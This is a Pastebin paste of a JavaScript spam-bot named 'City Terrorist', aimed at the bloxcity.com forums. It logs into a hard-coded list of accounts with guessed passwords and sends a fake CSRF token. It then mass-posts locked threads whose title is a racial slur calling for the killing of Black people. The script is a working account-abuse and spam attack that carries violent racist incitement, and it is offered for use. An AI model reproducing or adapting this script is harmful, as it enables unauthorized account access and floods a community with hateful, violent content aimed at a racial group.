Advertisement
Guest User

Untitled

a guest
Mar 22nd, 2016
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. // City Terrorist
  2. // Made by DominusTrex.
  3. // @DominusTrex
  4.  
  5. var forumID = '1' // ID of the forum.
  6. var threadTitle = 'lets kill some niggers' // Thread title
  7. var threadBody = 'get your bug sprays\n\n@DominusTrex' // Thread body.
  8. var threadLocked = 'true' // Thread locked.
  9. var accounts = ['a260859321', 'a253271329', 'a145676044', 'a146307391', 'a133684721', 'a117276947']
  10. var inc = 0
  11.  
  12. function logout(){
  13. console.log(inc)
  14. var http = new XMLHttpRequest();
  15. var url="https://www.bloxcity.com/account/logout";
  16. var params="title=" + threadTitle + "&post=" + threadBody + "&locked=" + threadLocked +"&submit=";
  17. http.open("POST", url, true);
  18. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  19. http.setRequestHeader("Content-length", params.length);
  20. http.setRequestHeader("Connection", "close");
  21. http.send(params);
  22.  
  23. http.onload = function() {
  24. var password = "pass" + accounts[inc].substring(accounts[inc].length, 1)
  25. login(accounts[inc],password)
  26. if(accounts.length>=inc){
  27. inc=0
  28. }else{
  29. inc++
  30. }
  31. }
  32. };
  33.  
  34. function send(){
  35. var http = new XMLHttpRequest();
  36. var url="https://www.bloxcity.com/forum/create/" + forumID;
  37. var params="csrf_token=hay&title=" + threadTitle + "&post=" + threadBody + "&submit=";
  38. http.open("POST", url, true);
  39. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  40. http.setRequestHeader("Content-length", params.length);
  41. http.setRequestHeader("Connection", "close");
  42. http.send(params);
  43.  
  44. http.onload = function() {
  45.     logout()
  46. }
  47. };
  48.  
  49. function login(u,p){
  50. var http = new XMLHttpRequest();
  51. var url="https://www.bloxcity.com/account/login";
  52. var params="csrf_token=hay&username=" + u + "&password=" + p + "&submit=";
  53. http.open("POST", url, true);
  54. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  55. http.setRequestHeader("Content-length", params.length);
  56. http.setRequestHeader("Connection", "close");
  57. http.send(params);
  58.  
  59. http.onload = function() {
  60.     send()
  61.   }
  62. };
  63.  
  64. logout()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement